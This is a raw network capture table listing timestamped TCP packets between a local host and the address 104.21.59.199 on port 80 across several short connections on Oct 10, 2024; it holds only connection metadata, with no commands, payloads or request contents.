Oct 10, 2024 21:02:52.757827044 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.758076906 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.758097887 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.758109093 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.758275032 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.758285999 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.758297920 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.758375883 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.758497000 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.759238005 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.759249926 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.759260893 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.759355068 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.759423018 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.759737968 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.759823084 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:52.763025999 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.763431072 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.763525963 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.763746023 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.763757944 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.763771057 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.763782024 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.764523983 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.764740944 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.764751911 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.764763117 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.764990091 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.765002012 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.765012980 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.765023947 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.765043974 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.765054941 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.765065908 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.765160084 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:52.765172005 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.049496889 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.058141947 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.064033985 CEST	80	50597	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.064227104 CEST	50597	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.177522898 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.182568073 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.182656050 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.198116064 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.203372002 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.626444101 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.627305031 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.627463102 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.632338047 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.632603884 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.632632017 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.632658005 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.632781982 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.632781982 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.632874966 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.632903099 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.632929087 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.632955074 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.632966042 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.632982016 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.633025885 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.633155107 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.633187056 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.633220911 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.633253098 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.638005972 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.638081074 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.638221979 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.638248920 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.638274908 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.638317108 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.638343096 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.638416052 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.638536930 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.638559103 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.638586998 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.638653994 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.638694048 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.638701916 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.638768911 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.638809919 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.643311977 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.643465042 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.643532991 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.643627882 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.643675089 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.643794060 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644009113 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644036055 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644062042 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644088984 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644114971 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644140005 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644278049 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644304991 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644330025 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644356012 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644382000 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644407988 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644433975 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644589901 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644617081 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644643068 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644668102 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644694090 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644721031 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644746065 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644772053 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644798040 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.644823074 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.648467064 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.926218033 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.935602903 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:53.941253901 CEST	80	50604	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:53.941308975 CEST	50604	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.056293011 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.061718941 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.061810017 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.062248945 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.067261934 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.506931067 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.509242058 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.509567022 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.514260054 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.514748096 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.514775991 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.514802933 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.514844894 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.514844894 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.514848948 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.514875889 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.514902115 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.514930964 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.514941931 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.514956951 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.514976978 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.514981985 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.515007019 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.515031099 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.515058994 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.521519899 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.521547079 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.521573067 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.521603107 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.521646023 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.521687031 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.521749973 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.521775961 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.521855116 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.522093058 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.527051926 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.527326107 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.553442001 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.553554058 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.558690071 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.558718920 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.558744907 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.558746099 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:54.558805943 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.558832884 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.558857918 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.558904886 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.558931112 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.558955908 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.558983088 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.559009075 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.559034109 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.559058905 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.559103966 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.559129953 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.559155941 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.559181929 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:54.564121962 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.050304890 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.050561905 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.050738096 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.059055090 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.064917088 CEST	80	50610	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.067456007 CEST	50610	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.187871933 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.193062067 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.195400000 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.195775986 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.201117039 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.647034883 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.648340940 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.648421049 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.653794050 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.653832912 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.653861046 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.653918028 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.653944016 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.653970957 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.653996944 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.654043913 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.654069901 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.654095888 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.654113054 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.654113054 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.654124022 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.654180050 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.654180050 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.659182072 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.659209967 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.659244061 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.659255981 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.659327030 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.659405947 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.659502983 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.659574032 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.659574986 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.659604073 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.659637928 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.659651041 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.659657001 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.659708977 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.659764051 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.659811974 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.664550066 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.664902925 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.665093899 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.665218115 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.665271044 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.665375948 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.665406942 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.665455103 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.665591002 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.665672064 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.665698051 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.665744066 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.665770054 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.665815115 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.665841103 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.666169882 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.666218042 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.666244030 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.666269064 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.666297913 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.666323900 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.666348934 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.666429996 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.666536093 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.666583061 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.666609049 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.666635036 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.955812931 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.964513063 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:55.970113039 CEST	80	50616	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:55.970166922 CEST	50616	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.085786104 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.091039896 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.091286898 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.091661930 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.096884012 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.565066099 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.565958023 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.566282034 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.570926905 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.571245909 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.571352959 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.571363926 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.571413040 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.571440935 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.571468115 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.571474075 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.571513891 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.571533918 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.571540117 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.571563005 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.571609974 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.571614981 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.571636915 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.571656942 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.571670055 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.571697950 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.571726084 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.576468945 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.576699018 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.576706886 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.576735973 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.576766968 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.576793909 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.576803923 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.576841116 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.576842070 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.576894045 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.576919079 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.576982021 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.577043056 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.577069044 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.577099085 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.577183962 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.577210903 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.577220917 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.577326059 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.577367067 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.581820965 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.581944942 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.582004070 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.582372904 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.582526922 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.582557917 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.582586050 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.582632065 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.582663059 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.582751036 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.582777977 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.582823992 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.582849979 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.582875013 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.582901001 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.582931042 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.582957029 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.583003044 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.583029985 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.583055019 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.583100080 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.587029934 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.901928902 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.920084953 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:56.926318884 CEST	80	50622	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:56.926476955 CEST	50622	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.040642977 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.045840979 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.046089888 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.046953917 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.052043915 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.510922909 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.521339893 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.521451950 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.526488066 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.526541948 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.526570082 CEST	80	50629	104.21.59.199	192.168.2.4
